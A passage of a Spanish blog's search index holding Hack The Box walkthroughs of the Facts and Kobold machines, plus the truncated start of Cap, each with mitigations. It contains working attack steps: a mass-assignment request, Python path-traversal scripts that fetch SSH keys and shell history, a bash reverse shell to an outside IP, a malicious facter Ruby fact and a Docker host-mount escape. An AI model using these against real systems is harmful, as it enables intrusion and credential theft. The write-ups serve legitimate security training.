","title":"HTB Walkthrough: Devel","type":"posts"},{"content":"","date":"12 de junio de 2026","externalUrl":null,"permalink":"/es/tags/iis/","section":"Tags","summary":"","title":"IIS","type":"tags"},{"content":"","date":"12 de junio de 2026","externalUrl":null,"permalink":"/es/tags/kitrap0d/","section":"Tags","summary":"","title":"KiTrap0D","type":"tags"},{"content":"","date":"12 de junio de 2026","externalUrl":null,"permalink":"/es/tags/ms10-015/","section":"Tags","summary":"","title":"MS10-015","type":"tags"},{"content":"","date":"12 de junio de 2026","externalUrl":null,"permalink":"/es/tags/webshell/","section":"Tags","summary":"","title":"Webshell","type":"tags"},{"content":"","date":"9 de junio de 2026","externalUrl":null,"permalink":"/es/tags/camaleoncms/","section":"Tags","summary":"","title":"CamaleonCMS","type":"tags"},{"content":"","date":"9 de junio de 2026","externalUrl":null,"permalink":"/es/tags/cve-2025-2304/","section":"Tags","summary":"","title":"CVE-2025-2304","type":"tags"},{"content":"","date":"9 de junio de 2026","externalUrl":null,"permalink":"/es/tags/cve-2026-1776/","section":"Tags","summary":"","title":"CVE-2026-1776","type":"tags"},{"content":"","date":"9 de junio de 2026","externalUrl":null,"permalink":"/es/tags/facter/","section":"Tags","summary":"","title":"Facter","type":"tags"},{"content":"","date":"9 de junio de 2026","externalUrl":null,"permalink":"/es/tags/facts/","section":"Tags","summary":"","title":"Facts","type":"tags"},{"content":" Resolución de Facts en Hack The Box. Máquina de dificultad Easy con sistema operativo Linux (Ubuntu 25.04). Explotamos un Mass Assignment en Camaleon CMS para escalar nuestro rol a administrador sin conocer ninguna contraseña, aprovechamos un Path Traversal en el uploader de AWS para leer archivos del sistema y extraer una clave SSH cifrada, crackeamos la passphrase con John the Ripper, y escalamos a root abusando de permisos sudo NOPASSWD sobre facter con un custom fact Ruby malicioso. HackTheBox Linux Easy 🗺️ Información de la Máquina # Campo Detalle Nombre Facts OS Linux (Ubuntu 25.04 — GNU/Linux 6.14.0) Dificultad Easy IP 10.129.20.171 Técnicas Mass Assignment · Path Traversal · SSH Key Cracking · Facter sudo NOPASSWD RCE 1. Reconocimiento # 1.1 Escaneo de Puertos # nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.20.171 PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 54321/tcp open unknown Escaneo de versiones sobre los puertos abiertos:\nnmap -sC -sV -p22,80,54321 10.129.20.171 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 80/tcp open http nginx 1.26.3 (Ubuntu) |_http-title: Did not follow redirect to http://facts.htb/ 54321/tcp open http Golang net/http server |_http-server-header: MinIO |_http-title: Did not follow redirect to http://10.129.20.171:9001 Puertos abiertos:\n22 → OpenSSH 9.9p1 (disponible para acceso posterior) 80 → nginx con virtual host facts.htb — necesitamos añadirlo al /etc/hosts 54321 → MinIO (almacenamiento de objetos compatible con S3) que redirige a la consola de administración en el puerto 9001, no expuesto externamente 💡 Dato clave: El puerto 54321 ejecuta MinIO, un servicio de almacenamiento de objetos. La consola admin (9001) no es accesible desde fuera, pero el hecho de que exista un servicio S3-compatible puede ser relevante para los uploaders de la aplicación web.\necho \u0026#34;10.129.20.171 facts.htb\u0026#34; \u0026gt;\u0026gt; /etc/hosts 1.2 Enumeración Web — Camaleon CMS # Fuzzing de directorios sobre http://facts.htb/:\nffuf -u http://facts.htb/FUZZ \\ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \\ -ic -c [Status: 302] admin → redirige al login [Status: 200] index [Status: 200] search [Status: 200] page [Status: 200] post Encontramos un panel de administración en /admin. Nos registramos una cuenta de usuario normal para explorar la aplicación e identificamos Camaleon CMS versión 2.9.\nCon nuestra cuenta recién creada solo tenemos acceso a editar nuestro propio perfil. El panel muestra:\n#ID: 5 Login: test Role: Client 💡 Superficie de ataque: Tenemos una cuenta de usuario con rol Client y acceso al endpoint de cambio de contraseña. En Rails, los formularios de cambio de contraseña suelen pasar los datos directamente al modelo User. Si el backend no filtra explícitamente qué campos puede modificar el usuario, podría ser vulnerable a Mass Assignment.\n2. Explotación — CVE-2025-2304 (Mass Assignment: Role Escalation) # 2.1 Análisis de la Vulnerabilidad # Camaleon CMS 2.9 no filtra correctamente los parámetros que el usuario puede enviar al actualizar su perfil. Al enviar una petición POST al endpoint de cambio de contraseña, el backend acepta cualquier campo del modelo User, incluyendo role. Esto se conoce como Mass Assignment — el atacante puede modificar campos que deberían ser de solo lectura.\nFlujo normal: usuario envía password + password_confirmation → solo se actualiza la contraseña Flujo malicioso: usuario añade \u0026amp;password[role]=admin → el backend actualiza también el campo role 2.2 Explotación Paso a Paso # Paso 1 — Configurar Burp Suite como proxy e interceptar el cambio de contraseña:\nEn Firefox: Configuración → General → Ajustes de red → Configuración manual de proxy:\nHTTP Proxy: 127.0.0.1, Puerto 8080 En el perfil de usuario, hacemos clic en \u0026ldquo;Change Password\u0026rdquo; con Intercept activado en Burp Suite.\nPaso 2 — Modificar la petición POST interceptada:\nLa petición original tiene este cuerpo:\nauthenticity_token=...\u0026amp;password=test1234\u0026amp;password_confirmation=test1234 Añadimos \u0026amp;password[role]=admin antes de hacer forward:\nauthenticity_token=...\u0026amp;password=test1234\u0026amp;password_confirmation=test1234\u0026amp;password[role]=admin Paso 3 — Verificar la escalada:\nTras hacer forward de la petición y recargar el perfil, el campo Role ahora muestra \u0026ldquo;Administrator\u0026rdquo;.\n🔑 Somos administradores del CMS sin conocer ninguna contraseña de administrador.\n✅ Role escalado a Administrator mediante Mass Assignment (CVE-2025-2304).\n3. Explotación — CVE-2026-1776 (Camaleon CMS Path Traversal via AWS Uploader) # 3.1 Análisis de la Vulnerabilidad # El endpoint /admin/media/download_private_file del plugin de AWS uploader de Camaleon CMS no valida la ruta del parámetro file con la función valid_folder_path?, a diferencia del uploader local que sí lo hace. Esto permite a un atacante autenticado como administrador leer cualquier archivo del sistema mediante path traversal (../../).\nFlujo normal: GET /admin/media/download_private_file?file=uploads/imagen.png → sirve el archivo Flujo malicioso: GET /admin/media/download_private_file?file=../../etc/passwd → lee el sistema de archivos 3.2 Fase 1 — Confirmación y Lectura de /etc/passwd # Usamos un script Python con la cookie de sesión de admin obtenida del navegador:\n#!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34; CVE-2026-1776 - Camaleon CMS Path Traversal via AWS Uploader Afecta: versiones 2.4.5.0 - 2.9.0 (anterior a commit f54a77e) \u0026#34;\u0026#34;\u0026#34; import requests from urllib.parse import urljoin TARGET_URL = \u0026#34;http://facts.htb/\u0026#34; ENDPOINT = \u0026#34;/admin/media/download_private_file\u0026#34; SESSION_VAR = \u0026#34;_factsap_session\u0026#34; SESSION_VAL = \u0026#34;lNF74a7lw4...\u0026#34; # Cookie de sesión del admin obtenida del navegador AUTH_TOKEN = \u0026#34;1QGOA6YxgFANPE6XlGYPpg...\u0026#34; HEADERS = { \u0026#34;Cookie\u0026#34;: f\u0026#34;{SESSION_VAR}={SESSION_VAL}; auth_token={AUTH_TOKEN}\u0026#34;, \u0026#34;User-Agent\u0026#34;: \u0026#34;Mozilla/5.0 (X11; Linux x86_64; rv:140.0)\u0026#34;, \u0026#34;X-Requested-With\u0026#34;: \u0026#34;XMLHttpRequest\u0026#34;, } TARGET_FILES = [ \u0026#34;../../../../../../../../../../etc/passwd\u0026#34;, \u0026#34;../../../../../../../../../../config/database.yml\u0026#34;, \u0026#34;../../../../../../../../../../app/.env\u0026#34;, ] for payload in TARGET_FILES: r = requests.get( urljoin(TARGET_URL, ENDPOINT), headers=HEADERS, params={\u0026#34;file\u0026#34;: payload}, allow_redirects=False, timeout=8, ) if r.status_code == 200 and r.text.strip(): filename = payload.split(\u0026#34;/\u0026#34;)[-1] print(f\u0026#34;\\n[+] {filename} ({len(r.text)} bytes):\\n{r.text[:500]}\u0026#34;) Resultado:\n[+] passwd (1809 bytes): root:x:0:0:root:/root:/bin/bash ... trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash william:x:1001:1001::/home/william:/bin/bash 💡 Usuarios con shell identificados:\ntrivia (uid=1000) — usuario de la aplicación web william (uid=1001) — usuario secundario 3.3 Fase 2 — Extracción Dirigida de Credenciales # Con los usuarios identificados, ejecutamos un segundo script enfocado en claves SSH, historial de shell y flags:\n#!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;CVE-2026-1776 - Fase 2: Extracción dirigida de credenciales\u0026#34;\u0026#34;\u0026#34; import requests from urllib.parse import urljoin TARGET_URL = \u0026#34;http://facts.htb/\u0026#34; ENDPOINT = \u0026#34;/admin/media/download_private_file\u0026#34; HEADERS = { ... } # Mismos headers que la Fase 1 DEPTH = \u0026#34;../../../../../../../../../../\u0026#34; TARGETS = { \u0026#34;SSH\u0026#34;: [ (\u0026#34;trivia_id_ed25519\u0026#34;, f\u0026#34;{DEPTH}home/trivia/.ssh/id_ed25519\u0026#34;), (\u0026#34;trivia_authorized\u0026#34;, f\u0026#34;{DEPTH}home/trivia/.ssh/authorized_keys\u0026#34;), (\u0026#34;william_id_ed25519\u0026#34;, f\u0026#34;{DEPTH}home/william/.ssh/id_ed25519\u0026#34;), (\u0026#34;root_id_rsa\u0026#34;, f\u0026#34;{DEPTH}root/.ssh/id_rsa\u0026#34;), ], \u0026#34;HISTORY\u0026#34;: [ (\u0026#34;trivia_bash_history\u0026#34;, f\u0026#34;{DEPTH}home/trivia/.bash_history\u0026#34;), (\u0026#34;william_bash_history\u0026#34;, f\u0026#34;{DEPTH}home/william/.bash_history\u0026#34;), ], \u0026#34;FLAGS\u0026#34;: [ (\u0026#34;user_flag_william\u0026#34;, f\u0026#34;{DEPTH}home/william/user.txt\u0026#34;), (\u0026#34;user_flag_trivia\u0026#34;, f\u0026#34;{DEPTH}home/trivia/user.txt\u0026#34;), (\u0026#34;root_flag\u0026#34;, f\u0026#34;{DEPTH}root/root.txt\u0026#34;), ], } def fetch(payload): r = requests.get( urljoin(TARGET_URL, ENDPOINT), headers=HEADERS, params={\u0026#34;file\u0026#34;: payload}, allow_redirects=False, timeout=8, ) if r.status_code == 200 and r.text.strip(): return True, r.text return False, f\u0026#34;HTTP {r.status_code}\u0026#34; for category, items in TARGETS.items(): print(f\u0026#34;\\n=== {category} ===\u0026#34;) for name, payload in items: ok, content = fetch(payload) if ok: print(f\u0026#34;[+] {name} ({len(content)} bytes)\u0026#34;) with open(f\u0026#34;loot_{name}.txt\u0026#34;, \u0026#34;w\u0026#34;) as f: f.write(content) else: print(f\u0026#34;[-] {name} -\u0026gt; {content}\u0026#34;) Archivos recuperados:\nloot_trivia_id_ed25519.txt ← Clave privada SSH cifrada de trivia loot_trivia_authorized.txt ← Clave pública autorizada de trivia loot_user_flag_william.txt ← Flag de usuario (william) 4. User Flag # La flag de usuario de william se obtiene directamente vía el Path Traversal, sin necesidad de autenticación SSH:\ncat loot_user_flag_william.txt 🔑 Flag de usuario obtenida.\n5. Cracking de la Clave SSH — Acceso como trivia # La clave privada de trivia está cifrada con passphrase (algoritmo bcrypt/AES, 24 iteraciones). La crackeamos con John the Ripper:\n# Convertimos la clave al formato hash que entiende John ssh2john loot_trivia_id_ed25519.txt \u0026gt; hash.hash # Atacamos con el diccionario rockyou john hash.hash --wordlist=/usr/share/wordlists/rockyou.txt dragonballz (loot_trivia_id_ed25519.txt) 1g 0:00:04:17 DONE — Session completed. 🔑 Passphrase encontrada: dragonballz\nchmod 600 loot_trivia_id_ed25519.txt ssh -i loot_trivia_id_ed25519.txt trivia@10.129.20.171 # Passphrase: dragonballz Welcome to Ubuntu 25.04 (GNU/Linux 6.14.0-37-generic x86_64) trivia@facts:~$ ✅ Shell obtenida como trivia.\n6. Escalada de Privilegios — Facter NOPASSWD sudo # 6.1 Enumeración de Permisos sudo # trivia@facts:~$ sudo -l User trivia may run the following commands on facts: (ALL) NOPASSWD: /usr/bin/facter 6.2 Análisis del Vector de Escalada # facter es una herramienta del ecosistema de Puppet que recopila información del sistema (\u0026ldquo;facts\u0026rdquo;) ejecutando código Ruby. Admite custom facts — scripts Ruby externos que el usuario puede proporcionar con la flag --custom-dir. Cuando facter se ejecuta como root vía sudo, cualquier código Ruby en esos scripts se ejecuta con privilegios de root.\nFlujo normal: sudo facter → recopila información del sistema y la imprime Flujo malicioso: sudo facter --custom-dir /tmp/pwn → ejecuta nuestro Ruby malicioso como root 💡 Diferencia con SUID: Un binario con SUID ejecuta siempre con el UID del propietario del archivo. Aquí el riesgo viene del diseño de la herramienta: facter está diseñado para ejecutar código Ruby arbitrario como parte de su funcionalidad de custom facts. Es una superficie de ataque legítima que se convierte en crítica cuando se combina con sudo sin restricción de argumentos.\n6.3 Explotación # Paso 1 — Crear el directorio y el custom fact malicioso:\ntrivia@facts:/tmp$ mkdir -p /tmp/pwn trivia@facts:/tmp$ cat \u0026gt; /tmp/pwn/root.rb \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; Facter.add(\u0026#39;rootshell\u0026#39;) do setcode do system(\u0026#39;/bin/bash -p\u0026#39;) \u0026#39;done\u0026#39; end end EOF Cuando facter carga el custom fact, ejecuta el bloque setcode como parte de la evaluación. Al correr con sudo, ese bloque se ejecuta con EUID=0, spawneando una shell root.\nPaso 2 — Ejecutar facter apuntando al directorio malicioso:\ntrivia@facts:/tmp$ sudo /usr/bin/facter --custom-dir /tmp/pwn rootshell root@facts:/tmp# ✅ Shell de root obtenida mediante custom fact Ruby en Facter con sudo NOPASSWD.\n7. Root Flag # root@facts:/tmp# cat /root/root.txt 🏁 Flag de root obtenida.\n8. Resumen y Lecciones Aprendidas # Ruta de compromiso:\nRecon → Puerto 80 con Camaleon CMS 2.9 (facts.htb); Puerto 54321 con MinIO. Mass Assignment (CVE-2025-2304) → Registro como usuario normal + Burp Suite → \u0026amp;password[role]=admin → rol escalado a Administrator sin contraseña. Path Traversal (CVE-2026-1776) → AWS uploader no valida rutas → LFI en /admin/media/download_private_file → /etc/passwd (usuarios) + id_ed25519 de trivia + flag de william → user.txt. SSH Key Cracking → ssh2john + john + rockyou.txt → passphrase dragonballz → shell como trivia. PrivEsc → sudo -l revela facter NOPASSWD → custom fact Ruby con system('/bin/bash -p') → shell como root → root.txt. Lo que aprendí con esta máquina:\nMass Assignment es invisible sin una revisión activa del código fuente. No hay ninguna señal externa de que el endpoint sea vulnerable — todo parece un formulario de cambio de contraseña normal. La defensa es usar strong_parameters en Rails para listar explícitamente los campos permitidos (permit(:password, :password_confirmation)) y nunca más. El problema es que los frameworks modernos hacen que sea muy fácil olvidarlo en un update(params[:user]) descuidado.\nEl path traversal en un uploader es especialmente peligroso porque el endpoint tiene sentido que acceda al sistema de archivos. La discrepancia entre el uploader local (que sí valida con valid_folder_path?) y el uploader de AWS (que no lo hace) muestra cómo una funcionalidad puede estar parcheada en un punto pero no en otro. Al auditar path traversal hay que verificar todos los endpoints que tocan el sistema de archivos, no solo los más obvios.\nLas passphrases de claves SSH son un factor de seguridad real, pero solo si son fuertes. dragonballz está en rockyou.txt y se crackeó en 4 minutos. La clave SSH sin passphrase es directamente reutilizable por cualquiera que la robe; con passphrase débil, el tiempo ganado es mínimo. La defensa es tratar la passphrase como una contraseña crítica: larga, aleatoria y guardada en un gestor de contraseñas.\nsudo NOPASSWD sobre herramientas que ejecutan código externo es equivalente a dar root directo. facter --custom-dir es un caso claro: la herramienta está diseñada para ejecutar Ruby arbitrario. Conceder sudo sin restringir los argumentos (--no-custom-dir no existe como flag, así que la única opción es quitar la entrada de sudoers) equivale a una shell root para cualquier usuario del grupo. El principio es: antes de añadir una entrada NOPASSWD, verificar que el binario no tenga mecanismos de ejecución de código arbitrario.\nEl encadenamiento de vulnerabilidades de distinta severidad puede resultar en compromiso total. Ninguna de las vulnerabilidades individuales habría bastado por sí sola: Mass Assignment sin acceso admin no da foothold; el Path Traversal sin admin no es accesible; la clave SSH sin Path Traversal no se puede obtener. La cadena completa muestra por qué el scoring de vulnerabilidades aisladas puede subestimar el riesgo real en un sistema.\nMitigaciones:\nVector Mitigación CVE-2025-2304 (Mass Assignment) Usar strong_parameters en Rails: permit(:password, :password_confirmation) — nunca aceptar role como parámetro editable por el usuario CVE-2026-1776 (Path Traversal) Actualizar Camaleon a versión posterior al commit f54a77e; aplicar valid_folder_path? en todos los uploaders, no solo el local Clave SSH con passphrase débil Usar passphrases largas y aleatorias (20+ caracteres); considerar hardware tokens (YubiKey) facter con sudo NOPASSWD Eliminar la entrada de sudoers; si es necesario mantenerla, ejecutar facter en un wrapper que deshabilite custom facts (--no-custom-dir no existe — la única opción segura es eliminar el privilegio) ","date":"9 de junio de 2026","externalUrl":null,"permalink":"/es/posts/htb-facts/","section":"Posts","summary":" Resolución de Facts en Hack The Box. Máquina de dificultad Easy con sistema operativo Linux (Ubuntu 25.04). Explotamos un Mass Assignment en Camaleon CMS para escalar nuestro rol a administrador sin conocer ninguna contraseña, aprovechamos un Path Traversal en el uploader de AWS para leer archivos del sistema y extraer una clave SSH cifrada, crackeamos la passphrase con John the Ripper, y escalamos a root abusando de permisos sudo NOPASSWD sobre facter con un custom fact Ruby malicioso. HackTheBox Linux Easy ","title":"HTB Walkthrough: Facts","type":"posts"},{"content":"","date":"9 de junio de 2026","externalUrl":null,"permalink":"/es/tags/massassignment/","section":"Tags","summary":"","title":"MassAssignment","type":"tags"},{"content":"","date":"9 de junio de 2026","externalUrl":null,"permalink":"/es/tags/pathtraversal/","section":"Tags","summary":"","title":"PathTraversal","type":"tags"},{"content":"","date":"9 de junio de 2026","externalUrl":null,"permalink":"/es/tags/ssh/","section":"Tags","summary":"","title":"SSH","type":"tags"},{"content":"","date":"1 de junio de 2026","externalUrl":null,"permalink":"/es/tags/cve-2026-23744/","section":"Tags","summary":"","title":"CVE-2026-23744","type":"tags"},{"content":"","date":"1 de junio de 2026","externalUrl":null,"permalink":"/es/tags/dockerescape/","section":"Tags","summary":"","title":"DockerEscape","type":"tags"},{"content":" Resolución de Kobold en Hack The Box. Máquina de dificultad Easy con sistema operativo Linux. La explotación pasa por CVE-2026-23744, una RCE sin autenticación en MCPJam Inspector 1.4.2: el endpoint /api/mcp/connect pasa el campo command directamente a child_process.spawn() sin ninguna validación. La escalada a root explota que el usuario ben pertenece al grupo operator, que tiene permisos sobre el socket Docker — accesible mediante sg docker sin necesidad de logout. Una vez con acceso al daemon Docker, montamos el filesystem del host y obtenemos root con chroot. HackTheBox Linux Easy 🗺️ Información de la Máquina # Campo Detalle Nombre Kobold OS Linux (Ubuntu) Dificultad Easy IP 10.129.6.231 Técnicas CVE-2026-23744 · MCPJam RCE · Docker socket escape · sg group bypass · chroot privesc 1. Reconocimiento # 1.1 Escaneo de Puertos # nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.6.231 PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https 3552/tcp open taserver echo \u0026#34;10.129.6.231 kobold.htb\u0026#34; \u0026gt;\u0026gt; /etc/hosts 💡 Superficie de ataque: dos puertos web (80/443) y un servicio desconocido en 3552. El foco inicial es la aplicación web.\n2. Enumeración de Subdominios # gobuster vhost -u \u0026#34;https://kobold.htb\u0026#34; \\ -w /usr/share/wordlists/dirb/common.txt \\ --append-domain \\ --no-tls-validation Found: bin.kobold.htb [Status: 200, Size: 24402] Found: mcp.kobold.htb [Status: 200, Size: 466] echo \u0026#34;10.129.6.231 bin.kobold.htb mcp.kobold.htb\u0026#34; \u0026gt;\u0026gt; /etc/hosts bin.kobold.htb → Instancia de PrivateBin (compartición de texto/código). Corre en un contenedor Docker en el puerto interno 8080. mcp.kobold.htb → Instancia de MCPJam Inspector versión 1.4.2 — vulnerable al CVE-2026-23744. 3. Explotación — CVE-2026-23744 (MCPJam Inspector RCE) # 3.1 La Vulnerabilidad # El endpoint /api/mcp/connect de MCPJam Inspector 1.4.2 acepta un serverConfig con el campo command, que se pasa directamente a child_process.spawn() sin validación ni autenticación. Podemos especificar bash como comando y una reverse shell como argumento.\n3.2 Ejecución del Exploit # nc -lvnp 4444 curl -k https://mcp.kobold.htb/api/mcp/connect \\ --header \u0026#34;Content-Type: application/json\u0026#34; \\ --data \u0026#39;{ \u0026#34;serverConfig\u0026#34;: { \u0026#34;command\u0026#34;: \u0026#34;bash\u0026#34;, \u0026#34;args\u0026#34;: [\u0026#34;-c\u0026#34;, \u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.14.211/4444 0\u0026gt;\u0026amp;1\u0026#34;], \u0026#34;env\u0026#34;: {} }, \u0026#34;serverId\u0026#34;: \u0026#34;pwn\u0026#34; }\u0026#39; 💡 -k ignora el certificado TLS autofirmado del servidor.\nConnection received on 10.129.6.231 ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ ben@kobold:~$ id uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator) ✅ Shell obtenida como ben. El grupo operator es relevante — lo retomaremos en la escalada.\n3.3 Estabilización de la TTY # python3 -c \u0026#39;import pty; pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; # Ctrl+Z stty raw -echo; fg export TERM=xterm; export SHELL=bash stty rows 40 cols 150; reset 4. User Flag # ben@kobold:~$ cat user.txt 🔑 Flag de usuario obtenida.\n5. Escalada de Privilegios — Docker Socket Escape vía sg # 5.1 Enumeración del Entorno Docker # ben@kobold:~$ docker ps permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: connect: permission denied ben no pertenece al grupo docker directamente. Pero pertenece al grupo operator — probamos ejecutar en su contexto con sg:\nben@kobold:~$ sg docker -c \u0026#34;docker ps\u0026#34; CONTAINER ID IMAGE COMMAND STATUS 4c49dd7bb727 privatebin/nginx-fpm-alpine:2.0.2 \u0026#34;/etc/init.d/rc.local\u0026#34; Up 2 hours 127.0.0.1:8080-\u0026gt;8080/tcp bin 💡 sg \u0026lt;grupo\u0026gt; -c \u0026quot;\u0026lt;cmd\u0026gt;\u0026quot; ejecuta un comando con el GID efectivo del grupo especificado, sin necesidad de logout/login. Funciona porque operator tiene permisos sobre /var/run/docker.sock, aunque ben no lo vea en su listado de grupos principal.\n5.2 Por Qué el Socket Docker Permite Escalar a Root # El socket /var/run/docker.sock permite controlar el daemon Docker, que corre como root. Con acceso a ese socket podemos lanzar un contenedor con el filesystem raíz del host montado (-v /:/mnt) y ejecutarlo como UID 0 (-u 0). Una vez dentro, chroot /mnt cambia nuestra raíz al filesystem del host, obteniendo acceso total como root.\n5.3 Escape al Host # ben@kobold:~$ sg docker -c \u0026#34;docker run --rm -it -u 0 --entrypoint sh -v /:/mnt privatebin/nginx-fpm-alpine:2.0.2\u0026#34; Parámetro Efecto --rm Elimina el contenedor al salir (limpieza) -it Terminal interactiva -u 0 Ejecutar como UID 0 (root) dentro del contenedor --entrypoint sh Sobreescribe el entrypoint para obtener una shell directamente -v /:/mnt Monta el filesystem raíz del host en /mnt dentro del contenedor /var/www # chroot /mnt sh # id uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),27(sudo) ✅ Root obtenido. chroot /mnt hace que todos los comandos operen sobre el sistema host real con privilegios de root.\n6. Root Flag # # cat /root/root.txt 🏁 Flag de root obtenida.\n7. Resumen y Lecciones Aprendidas # Ruta de compromiso:\nRecon → Puertos 22, 80, 443, 3552. Virtual host kobold.htb. Gobuster vhost → Subdominios bin.kobold.htb (PrivateBin) y mcp.kobold.htb (MCPJam Inspector 1.4.2). CVE-2026-23744 → /api/mcp/connect sin validación → bash como command → reverse shell como ben. id → ben pertenece al grupo operator. sg docker → acceso al socket Docker a través del GID de operator. docker run -u 0 -v /:/mnt → contenedor root con el host montado. chroot /mnt → filesystem del host como root. Lo que aprendí con esta máquina:\nchild_process.spawn() con input no validado es RCE directa. MCPJam pasaba el campo command de la petición JSON directamente al spawner de procesos sin ningún tipo de lista blanca ni autenticación. En aplicaciones Node.js que necesitan ejecutar subprocesos, la única forma segura es construir la lista de argumentos de forma estática — nunca interpolando input de usuario — y aplicar autenticación antes de cualquier endpoint que interactúe con el sistema.\nLa pertenencia a grupos secundarios puede no ser obvia en la salida de id, pero sg la materializa. ben no aparecía en el grupo docker, pero operator tenía permisos sobre el socket. Enumerar /var/run/docker.sock y cruzar con los grupos del usuario (incluyendo grupos indirectos) es un paso que conviene automatizar en cualquier script de enumeración post-explotación.\nEl acceso al socket Docker equivale a root en el host, sin excepción. No importa si el usuario no tiene sudo, si está en un contenedor, o si los permisos del sistema parecen restringidos — si puede hablar con /var/run/docker.sock, tiene root. Esta máquina lo ilustra de forma limpia: la \u0026ldquo;restricción\u0026rdquo; de que ben no estuviera en el grupo docker era irrelevante porque operator abría la misma puerta por el lado.\nsg es una herramienta legítima del sistema que puede usarse como vector de escalada. Muchos post-exploitation guides no la mencionan, pero en cualquier sistema donde un usuario pertenece a un grupo secundario con permisos elevados sobre un recurso crítico, sg permite materializar esos permisos en un comando sin modificar la sesión actual. Vale la pena tenerla en el radar junto a newgrp y similares.\nMitigaciones:\nVector Mitigación CVE-2026-23744 — MCPJam RCE en /api/mcp/connect Actualizar MCPJam Inspector; no exponer el inspector sin autenticación; validar y usar lista blanca de comandos permitidos Socket Docker accesible vía grupo operator Nunca dar acceso a /var/run/docker.sock a usuarios no privilegiados; usar rootless Docker o Podman donde sea posible sg docker permite bypass del grupo Auditar qué grupos tienen permisos sobre el socket; restringir con chmod/chown; considerar ACL de filesystem para control más granular docker run -v /:/mnt permite leer/escribir el host completo Usar --read-only y perfiles seccomp/AppArmor; nunca montar el filesystem raíz del host en contenedores de producción ","date":"1 de junio de 2026","externalUrl":null,"permalink":"/es/posts/htb-kobold/","section":"Posts","summary":" Resolución de Kobold en Hack The Box. Máquina de dificultad Easy con sistema operativo Linux. La explotación pasa por CVE-2026-23744, una RCE sin autenticación en MCPJam Inspector 1.4.2: el endpoint /api/mcp/connect pasa el campo command directamente a child_process.spawn() sin ninguna validación. La escalada a root explota que el usuario ben pertenece al grupo operator, que tiene permisos sobre el socket Docker — accesible mediante sg docker sin necesidad de logout. Una vez con acceso al daemon Docker, montamos el filesystem del host y obtenemos root con chroot. HackTheBox Linux Easy ","title":"HTB Walkthrough: Kobold","type":"posts"},{"content":"","date":"1 de junio de 2026","externalUrl":null,"permalink":"/es/tags/kobold/","section":"Tags","summary":"","title":"Kobold","type":"tags"},{"content":"","date":"1 de junio de 2026","externalUrl":null,"permalink":"/es/tags/mcp/","section":"Tags","summary":"","title":"MCP","type":"tags"},{"content":"","date":"1 de junio de 2026","externalUrl":null,"permalink":"/es/tags/mcpjam/","section":"Tags","summary":"","title":"MCPJam","type":"tags"},{"content":"","date":"1 de junio de 2026","externalUrl":null,"permalink":"/es/tags/sg/","section":"Tags","summary":"","title":"Sg","type":"tags"},{"content":"","date":"14 de abril de 2026","externalUrl":null,"permalink":"/es/tags/cap/","section":"Tags","summary":"","title":"Cap","type":"tags"},{"content":"","date":"14 de abril de 2026","externalUrl":null,"permalink":"/es/tags/cap_setuid/","section":"Tags","summary":"","title":"Cap_setuid","type":"tags"},{"content":"","date":"14 de abril de 2026","externalUrl":null,"permalink":"/es/tags/certificateforge/","section":"Tags","summary":"","title":"CertificateForge","type":"tags"},{"content":"","date":"14 de abril de 2026","externalUrl":null,"permalink":"/es/tags/cve-2026-29000/","section":"Tags","summary":"","title":"CVE-2026-29000","type":"tags"},{"content":" Resolución de Cap en Hack The Box. Máquina de dificultad Easy con sistema operativo Linux (Ubuntu 20.04 LTS). Explotamos un IDOR en un endpoint de descarga de capturas de red para obtener credenciales FTP en texto claro, accedemos por SSH reutilizando la contraseña, y escalamos a root aprovechando la capability cap_setuid asignada al binario de Python 3.8. HackTheBox Linux Easy 🗺️ Información de la Máquina # Campo Detalle Nombre Cap OS Linux (Ubuntu 20.04 LTS) Dificultad Easy IP 10.129.19.177 Técnicas IDOR · FTP Cleartext · Credential Reuse · Linux cap_setuid 1. Reconocimiento # 1.1 Escaneo de Puertos # nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.19.177 PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http Escaneo de versiones sobre los puertos abiertos:\nnmap -sC -sV -p21,22,80 10.129.19.177 PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 80/tcp open http Gunicorn |_http-title: Security Dashboard Puertos abiertos:\n21 → vsftpd 3.0.3 (acceso anónimo deshabilitado — necesitaremos credenciales) 22 → OpenSSH 8.2p1 (disponible para acceso posterior) 80 → Aplicación web Python (Gunicorn) con un \u0026ldquo;Security Dashboard\u0026rdquo; 💡 Dato clave: Gunicorn es un servidor WSGI de Python — la aplicación web está escrita en Python. Combinado con el FTP sin acceso anónimo, el vector inicial probablemente pasa por la web.\n1.2 Enumeración Web — Security Dashboard # La aplicación expone un panel de seguridad con varias secciones:\nDashboard — Métricas de eventos de seguridad en tiempo real. Security Snapshot — Genera y descarga una captura PCAP de 5 segundos del tráfico de red del servidor. IP Config — Muestra la salida de ifconfig del servidor. Network Status — Estado de la red. La sección más interesante es Security Snapshot. Al pulsar el botón de descarga, la URL generada es:\nhttp://10.129.19.177/data/1 El número al final es un ID numérico secuencial que identifica la captura. La captura actual (ID=1) muestra todo a ceros — fue generada en el momento y no contiene tráfico previo.\nProbamos con ID=0, la captura más antigua del servidor:\nhttp://10.129.19.177/data/0 La respuesta muestra datos reales: 72 paquetes capturados, 69 TCP. El servidor sirve la captura sin verificar si pertenece a nuestro usuario.\n💡 IDOR (Insecure Direct Object Reference): La aplicación usa IDs predecibles y no valida que el recurso solicitado pertenezca al usuario autenticado. Simplemente cambiar el número en la URL nos da acceso a capturas de otros usuarios o del sistema.\n2. Explotación — IDOR y Análisis del PCAP # 